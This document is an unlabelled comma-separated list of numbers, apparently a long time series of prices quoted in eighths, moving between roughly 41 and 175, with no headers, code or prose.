96.37,96.87,94,92.5,93,92.5,90.75,92,94.12,94.5,93.75,94.87,93.5,94.5, 93.87,94.37,92.87,92.75,93.87,94.37,95.75,96.75,94.12,92.25,93.37,94.62,97.5,96.37, 98.87,99.37,100.75,101.12,102.75,103.37,101.62,102.37,101.62,103.87,104.87,106.62,107.62,106.75, 111.37,113.62,112.37,112,110.75,109.25,109.12,109.87,109.62,108.87,108.62,109,107.5,109.62, 108.87,110.62,110.75,109,108.37,107.5,103.62,104.12,101.25,107,107.25,103.87,103.75,101.62, 99.75,100.62,99.5,98.87,96.75,97.62,96,97,96.12,95.37,98.25,98.62,97.5,97.12, 97.75,93.75,92.62,93,93,91.75,90.25,89.12,89.37,89.87,91.37,91.25,93.87,94.25, 93,92.62,95,96.75,96.12,97.25,95.25,93.37,93.12,94.87,94.62,95,94.37,94.25, 93.87,93.62,93.75,93.12,93.75,94.25,92.87,92.12,94.62,96.87,95.25,93.62,93.5,91.62, 89,87.12,88.25,87.87,86.37,87.12,86.75,86,84,83.87,84,83,82.87,82.12, 82.37,83,84.5,85,83.62,83.37,81.62,82.25,83.5,82.62,83.5,81.75,81.5,82, 81.12,80.62,79.75,79.75,80.25,79.87,77.25,75.37,75.25,74,74.87,74.25,74.25,74.25, 75,75.5,75.62,75.62,74.87,75,75,74.25,74.25,74.37,74.62,74.37,73.62,72.12, 71.75,72.5,72.37,72.37,74,74.25,75.37,76.5,77.25,77.5,77.5,76.37,76,76, 76.62,75.5,75.12,74,74.37,73.75,73.5,74.37,73,74.25,73.5,73.5,73.62,70.75, 71.62,70.12,70.5,70.25,69.75,70.62,71.5,70.12,71.25,71.62,71.37,71.37,69.5,70.75, 70.62,70.62,70.75,70,69.75,72.87,73.25,73.12,72.75,73.12,72.87,72.37,72,74, 73,71.87,71.12,73.5,74.25,73.87,74.5,76.12,74.12,74.37,73.87,73,74.62,75, 75.37,74.5,73.25,73.12,72.25,73.12,71.62,71.5,71.12,68.75,69.12,68.37,68.87,69.62, 69.5,68.5,69,69,69.12,69.62,69.5,70.25,70.37,71,69.75,69.75,69.25,67.87, 67.25,67.87,67.5,67.5,67.25,67.87,68.5,69.37,69.37,70,69.37,67.37,67.62,67.75, 68.12,66.25,64.87,64.62,64.37,63.75,64.62,64.12,64.5,63.25,62.38,63.13,63,62.25, 62.88,61.88,62.25,62.5,62.38,62.25,61.38,62.38,55.88,55.63,56.88,56.88,58.25,56.75, 55.88,55.63,56.63,56.75,57,56.25,57,58.75,60.38,61.13,61.5,59.88,60.88,62, 61,61.63,62.38,62.88,63.75,65,63.75,62.63,62,61.63,62.63,62.63,61,62, 63.5,63,63.63,64,63.63,63.13,61.75,62.13,61.38,60.75,61.25,58.5,57.5,57.25, 57.25,58,57,56.5,57.13,57.75,58.38,58,57.5,57.13,58.5,59.25,58.75,58.38, 52.25,53.38,53.38,53,53.88,52.38,52.88,53,52.5,53.13,53.13,53.38,53,54.63, 53.5,52.63,53.63,54,56.38,57.25,58.25,58.63,57.13,57.88,58.25,57.38,57.5,55.88, 56,55.38,54.75,52.25,52.63,52.63,53,53.63,52.88,52.88,52.88,53.5,53.63,52.63, 52.75,54.63,54.5,54,53.25,52.88,53.13,53.63,54.25,52,55.75,56.38,56.5,56.5, 57.75,57.13,56.38,58.25,58.63,55.25,55.25,56,57.13,57.5,58.63,58.75,58.13,58.63, 59.25,58.88,58.5,59.5,59,57.63,56.5,57,58.13,58.38,59.13,58.63,59.25,58.63, 58.38,59.75,57.5,56.88,56.13,57.38,55.25,53.63,53.88,53.75,53.75,53.5,53.75,53.13, 53.88,54.38,55.75,55.13,53.13,52,51.88,52.75,51.88,52.75,51,51.63,52,49.88, 49.13,50.25,49.88,49.75,50.75,50.88,47.75,46,45.75,46,46.25,44.88,44.5,45, 43.63,43.38,44,44.5,42.63,43.13,43.75,44.13,44.25,44,44,43.75,44.25,43.88, 42,41.63,41.75,41.75,41.75,41.88,41.88,42.13,42.25,43.38,43.5,43.63,43.5,43.88, 43.75,44.38,44.38,45.5,45.75,46,45.88,45.75,44.63,44.13,44,44,43.88,44.38, 43.13,43,42.75,43,41,41.63,41.75,42.25,43.25,43.13,43.38,43.75,44.38,43.38, 43.88,44.5,43.88,44,45.63,42.38,42.25,43.38,43.63,42.88,43.63,45.63,47.5,47.38, 47.63,48.13,46.63,46.63,46.63,46.88,48.25,49.25,49.38,49.38,50.38,49.75,48.75,48.63, 49.25,49.25,49.38,49.63,50.38,49.88,52,52.5,52.5,52.88,52.25,52.25,54,53.88, 53.88,52,52.75,53.25,52.75,50.38,49.75,48.38,49.25,49.63,49,47.63,47.88,47.5, 48,48.88,48.88,48.63,48.25,49.38,49.25,49.25,48.63,48.88,49.88,48.38,48.38,47.75, 48.5,49.13,50.63,49.25,49,48.75,49,49.38,51,50.25,52.25,52,52.63,52.63, 51.88,50.88,50,51.75,51.38,50.5,51.13,54.25,53.63,53.75,54.63,54.5,55.13,55, 55.63,54.88,55.88,56.63,56.13,55.25,54.88,55.25,54.25,54.75,54.38,53.75,51.88,51.13, 51.25,50.5,50.5,50.5,50,50.75,51.13,52.25,53.38,52.88,52,51.38,51.13,52.13, 52.63,51.5,50.25,49.63,49,48.88,48.63,46.38,46.88,48.38,49.5,48.25,48.75,47.75, 48.75,47.75,46.5,47,48,48.88,50.13,50.38,50.13,49.75,51.75,52.75,51.25,51.75, 48.88,51.38,53,51.88,56.13,62.88,62.38,61.75,62.63,65.37,65.87,67,67.25,67.87, 67.75,68.25,66,65.37,64.87,63.25,62.25,61.25,63.13,64.25,64.87,64.87,64.12,65, 65.87,67.5,66.25,65.87,68.25,69.12,68.87,66.87,66,67.12,65.75,67.5,69.12,68.5, 68.5,68.37,68.5,70.75,72.87,78,78.75,78.5,78.5,79.37,78.37,79.75,78.87,78.5, 80.12,80.75,81,82.75,82.25,82.5,83.62,83.25,84.37,83.5,83.75,83.12,85.5,88.37, 88,87.5,86.87,86.12,86,86.62,87.5,87.62,86.62,87.25,87.37,86.37,87.12,85.12, 86,85.87,86.62,88,88.62,88.37,88.12,88.37,88,88.5,87.12,88.25,91.62,94.25, 94.87,94.75,95.37,94.37,93.75,92.37,92.75,92.75,92.5,93.75,92.87,95,100.25,99.25, 97.87,97.87,97.62,97.5,97.87,96.75,98.12,96.87,98.25,97.87,98.62,97.25,97.12,97.62, 95.87,95.25,95,94.5,92.62,93.12,94.12,93,92,90.12,90.62,91,90.37,89, 89.75,90.62,90.62,90.75,91.12,90.87,90.5,91.75,91.5,91.62,92.5,90.75,91.62,91.75, 92.37,93.5,93.87,93.12,93.75,93.37,93.87,92.5,90.62,90.75,88.12,88.5,88.12,88.12, 89.25,90.12,90,89.5,88.62,88.5,88.25,87.5,86,85.12,84.87,82.37,83.12,81.75, 82.25,82.87,83.5,83.37,83.25,84.12,85.12,85.25,85.62,86.12,85.87,87.5,87.62,88.75, 89.62,89.12,87.75,87.87,87.37,86.37,86.62,87.37,88.25,87.5,86.87,87.75,88.25,88.25, 89.37,89.87,89.75,89.62,89.62,89.75,90.75,92.12,90.25,89.75,89.25,89.87,91.25,92.25, 91.37,90,91.75,91.87,93.25,93.75,93.12,93.5,95.62,92.87,95.25,96.37,95.5,95.37, 92.37,90.25,90.87,91.25,92.37,94.62,92.25,90.37,90.25,89,90.37,89.37,88.25,88.25, 88.25,85.75,84.87,86.25,85.5,86.87,88,88.62,87.75,86.25,85.12,89,90.25,90, 91.25,92.25,92.5,94.25,97.87,95.12,94.75,95.37,95.5,96.5,97.25,96.25,100,98.87, 99.37,100.12,100.25,99.87,96.62,96.62,97,98.37,98.25,100.25,98.87,98.25,98,98.25, 98.5,98.5,100.25,100.37,99.87,101.62,104.25,101.25,99.87,99.75,97.25,98,98.87,98.25, 99,101.12,102.62,103.62,102.25,104.87,105,105.87,104.62,104.25,104.87,105.37,104.87,103.62, 102.87,104,101.37,99.62,101,99.37,98.25,98.62,98,96.87,95.5,94.5,95.25,95.12, 94.87,94.37,95.62,95.75,95,96.5,98.37,98.5,99,98.62,98.87,99.25,99,100.37, 101,100.37,101.25,101.25,101.62,101.37,100.5,100.5,100.75,100.62,102,100.5,98.25,96.25, 96.62,99.25,99.37,98.25,98.75,99.5,100.5,98.62,98.12,99.12,98.37,97.12,97.62,98.62, 99.37,98.37,99.62,99.12,101,100.87,99.5,100.37,100.62,101.5,102.25,102.37,102,103, 103.25,105,106.37,106.12,104.37,104.12,105.12,105,104.62,104.62,101.5,103.25,103.75,104.12, 102.75,106,105.87,103.37,105.87,103.75,101.87,103.37,103.62,105.87,104,103,104.87,107.37, 108,108.25,108.37,108.5,109.5,109.75,109.87,109.25,106.87,108.5,110.62,111.25,111.25,113, 112.62,113.5,113.12,113.25,112.25,113.87,112.87,113.87,113.5,111.62,111.87,114.12,115.12,127.87, 126.62,128.13,129.13,127,129.13,131.25,132.5,132.88,133.5,130.63,131,128.75,130.88,129.75, 133.63,133.25,135.5,137.88,139.5,137.38,135,134.63,132.75,132.38,129.5,128.5,129.88,128.5, 127.37,126.87,126.75,127,124.5,124.25,122.62,121,119.25,118,119.62,117.62,115.75,109.12, 107.5,106.75,108.12,108.37,106.87,109,110.25,112.12,112.5,112.12,113,113.37,113.62,113.5, 113.87,113.87,113.75,112.75,113.5,111.5,111.25,112.87,114.37,112.87,113.37,112.5,111.5,114.62, 114.75,113.37,113.62,112,112.37,113.5,113.87,112.62,114.12,113.37,114.75,113.62,112.62,113.5, 112,113,110.25,107.5,106.5,107.87,107.87,108.37,107.25,105.5,106.37,106,106.87,108.12, 108.62,106.75,107.75,107.62,105.37,100.75,99.37,99.25,100.25,101,103.5,105.37,109.5,108.25, 107.87,107.37,108.25,109,106.37,104.37,105.37,106.37,105,106.75,107.87,108.37,107.25,105.12, 104.37,105,107.87,107.5,105.87,105.5,102.37,102.5,102.5,101.87,101.75,103.87,103.62,104.37, 100.37,96.87,99,100.5,102.25,101.37,103.75,105,104.37,103.75,102,103.25,103.12,103, 103.87,108.12,109.75,111.62,111.5,112.12,111.37,113.12,114.75,114.75,115.87,117.62,120,119.87, 120.75,122.37,121,120,119.12,117.75,119,118,117.37,117.62,118.5,117.5,117.62,118, 116.75,116.62,116.25,119.12,118,118.75,118.62,120.37,120.87,121.37,120.25,119.87,118.75,120.62, 120.62,120.75,120.37,119.5,120,120.87,119.75,116.25,118.75,118.75,117.75,117,115.37,116.12, 115.37,115.62,114.25,114,112.37,111.25,110.75,110.5,110.5,109.25,109.12,108,109,107.37, 108.75,109.37,108.87,109.37,109.37,109.12,109.87,111.12,110.87,107.12,106.37,105.87,105.5,105.87, 106.12,106.5,106.62,105.87,106.12,106,105.87,104.5,104.12,105,106.5,107.25,108,109, 108.62,107,106.25,106.25,107.75,106.5,107,105.5,105.75,105,104.87,104,103.87,103.75, 104,102.62,103.25,104.87,102.87,103.5,103.75,103.75,103.25,101.12,102.5,102.75,103.12,101, 99.62,98.37,97.75,98.62,97.25,97.25,96.87,95.87,97.5,96.75,96.62,98.62,99.5,98.87, 100.12,98.12,97.87,99.87,99,99.37,100.37,99.75,100,98.87,98,94.12,94.12,94.75, 94.5,95.37,95.12,94.62,94.75,93.62,95,95.12,95.87,97,96.12,96.87,98,98.62, 99.62,99.25,97.12,97.62,97.75,98.87,99.37,100.37,100.12,99.5,98.75,99.12,97.12,97.87, 98,98.25,98.12,97.37,96.75,97.37,96.62,98.5,97.87,100,100.25,99.5,99.87,100.75, 101.87,103,103.5,104.25,104.12,101.75,102.25,103,102,107.62,107.75,108.25,109.25,107.5, 107.5,108.25,106,108.62,109.25,109,111.5,117.5,116.25,116.5,116.12,116,116,116.12, 115.5,115.75,115.37,116.87,116.25,116,116.25,116.75,117.75,117.37,117.12,116.87,116.37,118, 116.12,116,114,113.62,113,115.12,114.75,115.5,116.25,116.12,115.5,117.5,117.12,118.25, 117.37,115.5,113.75,114,114.62,115,113.37,113,112.5,112.75,113.5,114.12,112.75,114.37, 114.75,116,114.75,114.87,114.75,113.87,114.62,112.12,111.62,112,112.25,111.87,111.5,113.87, 114.37,112,110.87,109.12,109.75,109.5,110.37,109.5,109.37,110.37,111,108.87,108.37,109.25, 109.5,109.62,109,110.12,110,109.62,108.25,109.5,109.62,109.75,109.5,109.87,111.12,112, 111.5,111.37,112.75,110.75,109.12,109.62,109.75,109.5,109.37,110.62,111.5,112.37,113.37,114.12, 114.62,114.5,114.5,113.5,113.5,112.37,112.37,113,111.37,110.87,109.25,111.12,111.12,110, 109.75,108,107.75,107.12,108.5,109.12,108.75,109.62,110,110.12,109.62,109.25,110.12,109.5, 112.5,118.12,117,117.87,118.87,118.25,118.62,119.62,119.87,121.5,120.87,120.5,119.87,121.5, 121.62,121.12,123.37,123.37,125.5,125.25,125.87,127,124.75,126,125,126.37,127,127.62, 126.62,127.75,128.38,129.63,130.63,128.75,126.87,126,123.25,124.25,122.37,123.62,124.25,125, 123.87,124.25,123.37,123.12,122.25,121.12,122,121.87,122.25,122.5,121,121.87,123.25,122.5, 123.12,123.37,122.5,123,123.25,122.75,121.25,121,120.5,120.75,120.5,120.37,119.37,121, 122.12,120.87,119.25,118.25,118.5,119.37,118.87,116,118,117,115.62,115.75,115.5,115.5, 117.5,117.12,116.62,119.75,119.87,119.75,119.12,120.25,122.25,122.87,124,122.62,120.75,120.25, 121.62,122.87,123.12,124.37,124.87,122.37,124.37,121.12,119.75,118.62,117.5,118.75,116.12,116, 114,113.87,114.5,114.87,115.37,115.37,113.87,113.25,112.25,112.87,112,113.25,112.75,112.75, 114.25,113.75,114.62,115,113.62,114.37,112.12,111.75,112.87,114,110.25,111.5,112.87,113.37, 112.25,111.62,112.75,110.87,110.75,112.75,114.62,114.62,115.75,115.12,118,119,118.87,121.62, 123.12,123.87,124.25,125.75,125.75,126.25,125.75,123.75,121.12,122.62,122.37,120.12,121.75,124, 124,125.12,126.5,124.75,125.25,125.25,126.75,126.37,127.62,126.87,129.25,126.62,127.37,127, 127,125,125.12,125.75,123,120.25,117.12,117.5,117.12,118.87,118.75,117,116,115.37, 116.62,113.75,114.37,113.25,112.62,113.12,112.5,108,108.25,108.5,109.25,108.75,109.5,110.5, 108.87,110.12,111.62,110.37,108.75,108.75,110.87,110.5,110.5,111.25,113.25,114.62,114.12,113.37, 113.12,114,114.25,113.87,113.75,112.37,112.87,113.12,114,114.12,111.37,116.12,113.62,113.37, 111.62,109.25,109.62,107.5,107.5,107.62,105.12,105.87,108.12,107,110,111.62,113.12,113.75, 114.25,114.87,115.25,114,115.5,115.5,113.75,116.62,117.62,117.25,116.87,116.5,117.25,117, 117.5,115.75,114.5,116.12,115.37,115.25,113.37,112.5,112.75,113.75,112,111.25,111.62,109.12, 107.75,108,108.62,109,109.87,110,112.37,113.75,112.75,111.87,113.25,110.5,111,110.37, 111.75,117.75,119,115.87,116.12,115.25,117.75,114.87,123.37,122.87,121.87,120.75,115.5,117, 116,115.75,119.87,119.5,118.25,118.25,117.25,115.5,118.87,116,115.12,110.12,111,114, 111.5,109.5,107.75,106.5,110.5,111.25,110.75,114.87,117.62,118.5,117.5,117.75,115.62,118.37, 117.75,120,121.62,122.25,119.25,117.75,118.12,119.5,123.75,120.62,121.87,124.5,122.5,120.25, 118,118,112,120.75,120,122.75,115,103.25,135,140.13,145.25,148.75,149.5,147.38, 151.5,152.75,151,156.5,155.25,154.63,150.75,150.5,152.75,156,155.88,154.25,155.75,150.5, 155.38,157.88,156.63,157.5,162,161.13,157.75,157.25,157.75,160.75,161.63,162.5,162.88,168.38, 166.5,166.25,167.88,172,174.63,174.75,174.75,172.63,172.88,174.5,173.25,173.38,170.38,169, 166.75,164.38,163,160.25,159.38,159.25,161,162.38,161.5,161.25,162.13,161.25,160.13,161.38, 162.75,164.63,167,168.13,168,167.5,169.88,167,166.25,166.75,163.88,165.13,164.25,164, 162.5,165.38,166.5,167.88,166.13,164.88,163.25,161.38,160.88,161.38,162,159.63,156.63,157.63, 157.75,159.88,161.25,160,161.38,160.25,157.25,159.63,160,162.63,161,160.63,156.63,157.25, 156.63,156.75,161,160.63,165.13,166.25,165.38,163,163.75,164.88,166.75,166.88,163,160.63, 160.13,158.63,155.25,154.25,151.75,154.25,154.25,157,150,150,150.88,148.13,147.63,145, 144,147.25,146.5,149.38,149.5,148,151.13,150.13,152.38,150.75,154,155.63,152.88,149.75, 148.63,147,146.25,147.13,144.63,144.88,144.25,141.75,142.88,138.88,139.38,140.38,139.88,138.13, 138.5,139.5,139.38,141.75,143,143.38,139.63,139.13,138,138.38,134.5,132.63,134,133.38, 133.75,135.75,136.88,135.13,133,132.25,128.75,128.63,130,129.38,127.25,126.25,127.37,122.75, 122.75,125.25,120,120,118.62,116.5,120.37,122.25,122.87,123.5,123,123.62,122,120, 120.87,120.62,122,122,120.5,123.12,125.12,125.37,126.75,128.13,127.62,126.5,128,128, 126.87,127.75,126.62,127.75,128.63,129.88,127.37,127.12,126,127.12,124.62,123.25,123.5,123, 120.5,122,121.37,119.87,122.75,123.75,123.12,121.5,121.37,123.12,125.87,126.37,123.62,122, 120.87,120.75,122.12,121.37,121.5,120.37,121.37,120.25,121.87,121.12,123,120.87,122,123.62, 122,127.5,128.13,133.5,130.88,133,133,134.5,134.25,135.5,135.75,137.5,139.25,138.63, 136.88,138.38,137.63,138.25,137,137.38,139.25,144.13,143.88,143.75,140.38,139.38,136.13,136, 138.75,140,141.13,141.13,139,138,138,139.25,136.75,135.38,133.13,134.25,134,132.5, 131,130,131,131.13,130.88,131.63,131.38,132.5,132.25,131.25,132.38,134.13,133.13,133.13, 133.63,131.88,131.75,132,133.13,135.75,139.25,143.13,145.75,144.25,144.63,145.25,149,149.5, 148.63,146.5,147,146.75,147.5,146.5,145.13,147.5,145,146.38,146.88,148.5,149.63,148, 149.13,148.38,146.75,149.88,150.75,150,152.75,152.25,152.38,152.88,151.38,147,143.88,143.38, 144.5,146.25,144.13,144.88,145.38,148.13,148.88,150,149.75,149,151.25,154.25,155.63,154.13, 156.88,156.25,159.38,161.38,159.5,157.63,155.25,153,154.88,152.63,154.63,154.75,152.63,152.38, 149.75,150.25,149.25,152,149.5,148.25,149.63,151,149.13,151.5,149.13,147.63,148,148.88, 149,150.13,151.63,152.38,150.88,150.38,150.5,149,152,148.5,146,146.75,148.38,149.75, 151.25,150.88,155.88,158.25,157.5,158.88,159.75,159.13,157.5,158.88,156.25,155.63,155,156.75, 157.25,155.75,155,154.88,154,154.63,151.5,149.5,151,151.75,149.63,150,148,144.25, 149.5,149.38,150.88,156,152.63,149.25,149,148.5,150.38,148.88,155.63,154.38,154.38,152, 155.5,158.25,155.38,153.25,152.75,154,154.25,153.75,152.88,152.5,152.25,150.25,148.63,149, 146.63,144.63,141.75,140.75,141.88,138.63,137.88,139.75,140.25,139,139,139.5,140.25,139, 138.25,138.5,136.75,136.63,135,135.38,134.63,132.5,132.13,132.88,133.38,132.25,130.88,129.88, 131.13,130.5,129.38,128,128.63,130.5,129.13,127.5,127.62,128.5,129.38,128,128,125.62, 124.37,124.25,124.37,124.25,123.5,124.37,124.37,126.62,123.87,123.75,124,126.75,128.13,126.75, 128,127.5,126.75,128.38,127.5,127.12,127.25,127.87,129.38,129.13,128.38,127.25,127.12,126.62, 127.5,128,128.25,128.25,126.87,126.62,128.38,127.5,125.87,125.75,126.37,126.75,126.62,127.12, 127.37,128.38,129.25,129.38,131.25,131.63,132.5,131.38,130.5,129.63,132,130.25,129.13,129.38, 129.88,129.25,128.75,129.38,128.5,125.5,124.25,123.75,123,121.25,123.5,124.5,123.75,124.37, 124.87,123.75,124,123.12,122,120.87,119.37,118.75,119.37,119.87,120.12,121.12,118.62,120.75, 126,127.62,127.37,129.75,128.5,129.75,129.13,128.63,128,129.75,130.38,130.88,131.38,132.63, 133,133,130.75,129,128.5,128,130.25,130.13,127.87,127.12,125.75,124.75,125,125.37, 125.62,126.5,126.25,127.12,128.88,128.63,129,127.75,127.62,127.5,129.63,129.75,129.25,128, 127,125.87,124.62,123.87,127,126.5,127.75,128.13,127,126.62,126.37,125.37,124.5,127.75, 128.75,129.38,130.5,128.38,128.63,128.88,130,131.88,131.5,129.63,130.13,132.88,135,135, 135.88,134,133.13,134.5,133.88,132.88,133.75,133.75,131.88,131.38,132,133.75,131.75,133.5, 137.25,137.13,135.38,136.5,137.63,135.63,136.38,136.63,137,134.63,133.25,133.13,132.5,129.63, 128.25,124.12,123.62,123.87,124.62,124.75,122.75,123.75,120.37,119.75,120.37,119.75,120,121, 123.12,123.5,123.12,123.75,124.25,123.75,122.37,123,123.12,119,118.75,117.75,118.75,119.12, 117.87,117.12,118.5,117.87,120.25,120,121.75,122,123.12,124.75,122.62,122.62,121,121.25, 120,121.5,122.75,123.12,122.75,124,123.25,125.75,125.75,127.5,126.75,125.87,126,124.62, 126.75,124.87,124.12,125,126.75,126.62,125.75,125.12,126,121.87,121.25,122.5,121.87,120.25, 121.62,120.5,121,121.25,121.87,121.25,121.75,122.62,124.25,125.75,124.62,124,123.75,124.25, 126,125.87,126.62,127.62,126.75,126.12,122.5,122.25,122.75,121.62,123.37,122.5,122.5,123.75, 123.62,124.25,125.37,124.75,125.5,124.87,124,125.87,123.25,123,123.12,121.87,121.25,122.25, 121.12,122.75,118.5,121.25,121.75,120.25,114.87,112.87,110.62,108.37,109,108.25,107.12,105.37, 106.12,107,106.75,107.25,108.12,107.25,105.25,104.37,105.25,107.12,107.25,105.75,106.25,107.12, 105.75,105.75,105.12,103.12,104.12,105.5,105.25,105.87,102.12,102.62,101.75,99.12,100.75,104.37, 104.5,104.25,105.75,105.62,105.75,105.37,108.25,107.87,107.75,107.5,106.62,107.25,106.75,107.75, 107.87,108.62,109.37,110.5,111.87,113,112.25,111.25,112.37,112.87,114.25,113.25,112.75,115.62, 116.25,116.5,113.75,113.25,113.25,111.87,110.75,109.87,110.75,111.12,112.25,112.75,111.25,112.5, 108.87,110,109.62,109.75,108.75,111,112,112,113.87,113.75,115.37,113.87,112.25,112.25, 112.75,114,114.75,114,113.75,112,111,110.62,110.25,108,108.5,107.62,109.25,111, 112,111.5,110.25,110,112.87,111.25,109.25,109.12,109.37,109.75,109.62,109.62,110.87,109, 109.87,109,107.75,110.5,108.75,110.75,114.37,113.75,114.12,113.87,114.87,114.62,115.37,116.75, 116.12,117,118.87,120.5,121,120.5,119,121.25,122.25,122.25,123.25,123.5,124.25,123.87, 121.75,122,123.12,124.25,124.62,123.62,122.87,123.62,121.75,121.25,120.87,119.5,120.87,122.12, 124,122.25,119,119.25,117.62,118.62,117.87,118.87,117.37,121.62,119.25,121,120.87,123, 125.25,123.5,123.37,124.75,124.5,127.5,126.87,125.25,123.62,122.25,122.12,122.25,123.87,126.5, 126.75,126.75,128,129.38,128,128.5,128.25,127,129.75,130.5,128.75,131.75,131.75,133.63, 132.63,133,134.25,132.25,132.13,131.13,129.88,128.13,126.87,127.87,128.75,127.87,128.63,126.62, 124.62,123,123.87,123.75,123.12,121.75,122.87,122,121.5,122.25,122.25,122.37,121.87,119.75, 118.62,119.5,117.37,119,117.87,116.25,116.5,119.37,121.25,122.5,121.62,123,121.62,120.5, 118.5,117.75,118.12,118.12,119,119.75,119.5,121.25,120.5,120.75,120.37,122,123.37,125.75, 125.87,124.37,125.5,125.37,120.87,119.87,120.12,122,121.25,120.87,123.25,121.5,119.75,121.62, 119.25,121,120.25,120,118,120.87,123,123.25,123.5,123.12,122,121.12,121.75,121, 118,117.25,114.25,113.75,113.37,113.12,115.75,114,113.5,111.87,111.25,113,114.37,115.62, 114.62,112.5,110.75,111.25,114,114,115.25,116.5,115.5,115.5,116.87,117.5,117.62,115.75, 116.5,115.5,115,117,117.25,116,117.12,114.5,117.25,115,115.12,111.5,112.62,110.12, 109.5,108.75,107,106.62,103.87,103.25,102.62,102,102.37,101.75,104.25,102.87,102.37,102.12, 102.25,102.12,100.12,100.75,99.87,98.87,98.87,100.87,100.5,100.75,100.25,102.25,100.87,103, 102.25,101.87,102.12,101.75,99,100.37,100.87,98.75,97.12,98.62,98.37,98.37,98.87,99, 96.37,96.37,94.5,95.12,97.12,97.37,95.5,96,97,98.87,97.37,97.62,95.12,96, 93.87,94.62,97.87,98.5,99.62,99.25,99.12,98.62,98.12,98,98,96.62,97.62,96, 95.62,93,96.25,96.12,96.62,95.12,96.37,93.62,93.5,95.75,92.5,93.37,90.75,89.37, 91,93.87,92.75,93.62,94.5,95.12,92.75,88.25,88.25,86.5,86.5,82.5,83.37,82.75, 81.25,80.5,83.5,83.75,84,82.12,82.25,85.37,85.37,84.37,85.75,83.37,84.25,84, 85.25,81.87,81.5,79.87,79.62,81.62,82,80,82.75,84.75,84.5,82.12,83,79.5, 80.12,83.5,82.75,83.5,81.12,80.37,79,75.12,74.5,74.12,73.37,74.75,76.25,76.62, 76,76.37,75.5,76.75,74.75,74.12,74.12,73.37,72.5,72.87,71.37,71.87,72.5,72.5, 72.12,71.37,69.75,70.5,69.87,69,69.12,69.12,68.37,69.37,68.25,66,65.75,66, 62.88,62.88,62.25,62.38,63,63.25,63.13,63.88,65.62,66,66.75,65.62,65.5,64.87, 65.5,65.87,66.5,66.62,67.5,67.37,65.87,66.75,66.75,66.87,64.5,66.87,62.5,61.5, 61,60.38,60,60.63,60.63,61.13,61.13,60.25,60.5,61.13,59.88,58.63,58.38,58.5, 59.5,59.75,59.13,59.63,58.75,58.13,58.25,60,60.25,61.5,62,61.75,61.5,62, 62,61.88,62.25,62.63,63,62.5,62.75,62.88,63.63,63.63,63.88,64.37,63.88,64.75, 64.87,65.12,64.75,64.5,64.25,64.12,64.87,65.12,66,65.75,64.37,63.88,63.25,63.75, 64.5,64.62,63.63,62,62.13,62.25,61.75,61.75,61.5,61.5,61,59.75,60.38,59.88, 59,59.75,59.13,59.5,59.13,57.63,57.88,57.38,57.38,58.88,57.88,58.25,59,58.63, 57.5,58.5,59.13,59.88,61,62.13,61.88,61.63,62,60.88,60.38,62.38,62.75,62.25, 62.25,61,61.25,61.88,61.38,61.5,63.25,63.25,62.75,63,62.63,63.63,64.37,62.63, 61.75,62,61.63,62.5,61.5,61,61.88,59.75,58.88,57.38,57.5,56.75,56.75,56.75, 56.75,57,58.25,56.88,57.25,56,56.5,57,56.13,56.88,56.38,56.75,55.75,54.13, 53.63,53.38,54.38,54.63,53.88,53.25,53.5,54.63,54,53,54.13,54.5,54.5,52.63, 52.25,50.5,50.63,50.38,50.38,51,51,51.63,52.75,52.5,52.25,51.63,50.88,51.5, 52.38,53,53,51.5,49,49.5,50.75,50.63,51,51.13,51.38,51.63,51.25,51.25, 52.25,52.5,53.75,55.5,55.88,55.5,55,54.25,55.13,55,54,54.13,53.25,54.88, 53.63,54.63,54.5,54.38,54.88,54,54.13,54.88,55.5,55.88,55.75,54.75,54.13,54, 54,54.63,55.75,56,55.13,55.88,55.25,55.5,55.88,55.88,56.88,57.25,57,56.63, 56.75,58,58.25,57.88,58.75,57.88,57,56.88,58.38,58.25,56.5,56.13,56.38,55.38, 55.38,55.63,55,54.88,55.13,55.5,55.38,56.13,56.63,56.63,56.88,55.88,56.38,56.63, 56.63,57,57,56.88,56.88,57.88,57.88,58.75,59,59.5,59.38,58.13,57.5,57.63, 58.5,58.88,59.88,59.38,59,57.88,57.38,58.25,58.38,58,59.13,59.88,60.25,58.75, 58,57.88,56.13,55.5,55.63,56.38,56.63,56.75,56.38,56.63,56.75,56.75,56,57.88, 57.38,57.88,57.75,58.38,59.13,58.63,59.63,60.38,61.13,60.63,60.38,60.38,60.5,61.63, 60,59.63,59.13,60.13,60.75,61.75,60,60,60.38,61.13,62.13,63,62.38,61.5, 61.75,63.13,63.88,62.25,62.88,63.13,63.75,64.75,64.25,64.62,63.25,64,62.25,62.5, 63,61.88,62,61.88,62.5,63.63,64.25,64.75,64.25,62.13,62,60.5,61.25,62, 62,61.75,61.75,62.63,63,63.5,64.25,64,64.5,64.25,63.38,64.37,64.87,64.62, 65.5,65,65,65.25,65.12,65,66.62,66.87,65.75,66.75,66.5,66.75,67.37,67.62, 69.5,71.5,70.25,69.12,67.87,68.62,68,69,68.5,67.25,67.12,64.62,63.63,65.25, 66.25,64.5,65.75,64.5,63.75,66.12,66.37,67.5,68.37,68,67.87,66.5,68.12,68.75, 69.5,70.37,70.37,72,71.37,72,71.62,71.62,71.25,70.87,67.12,67.25,67.12,66.5, 68.5,67.5,66.62,65.12,65.5,66.62,66.12,66.62,65.87,67.75,68,68.5,68,68.62, 70.37,69.75,70.5,69.25,70.12,70,67.75,68,66.25,65.37,64.62,64.12,63.75,64.62, 66.12,67.5,66.87,68.12,67,66.5,67.25,65.62,66.12,65.87,66.37,65.75,66.12,64.25, 66.5,66.62,67.5,66.12,65.5,65,65.87,66.75,67.12,67.37,67.5,66.87,66,66.37, 68.75,68.87,66.75,66.75,66.75,65.25,65.75,65.62,64.25,64.75,65.12,65.25,65.5,65.12, 65,64.37,64.75,64.87,65.12,66,65.12,65.62,64.25,63.75,65,62.75,61.63,61.5, 61.75,62,61.13,60.63,59.5,58.75,59.75,59.25,59.75,59.38,58.88,57.88,57.88,59.63, 58.88,60.38,58.88,58,58,57.5,56.75,57.13,57,58.13,56.38,56,55.38,54.38, 56.38,55.25,54.75,53.75,52.88,52.75,53.38,53,52.5,53,53.25,52.25,52.13,53.88, 55.13,54.88,55.38,54,54.38,54.88,54.88,54.5,55.38,53.75,53.5,53.88,51.25,51.25, 51.25,51.13,52,53,53.5,54.25,54.63,53.5,53.38,54.88,55.5,54.88,55.75,55.88, 57.5,53,54.75,54.13,56.75,58.25,58.88,59.63,59.13,59.88,60.13,61.38,62.25,61.63, 61,61.13,62,63.25,62.75,63.5,63.38,62,65,65.12,66,66.25,67.25,67, 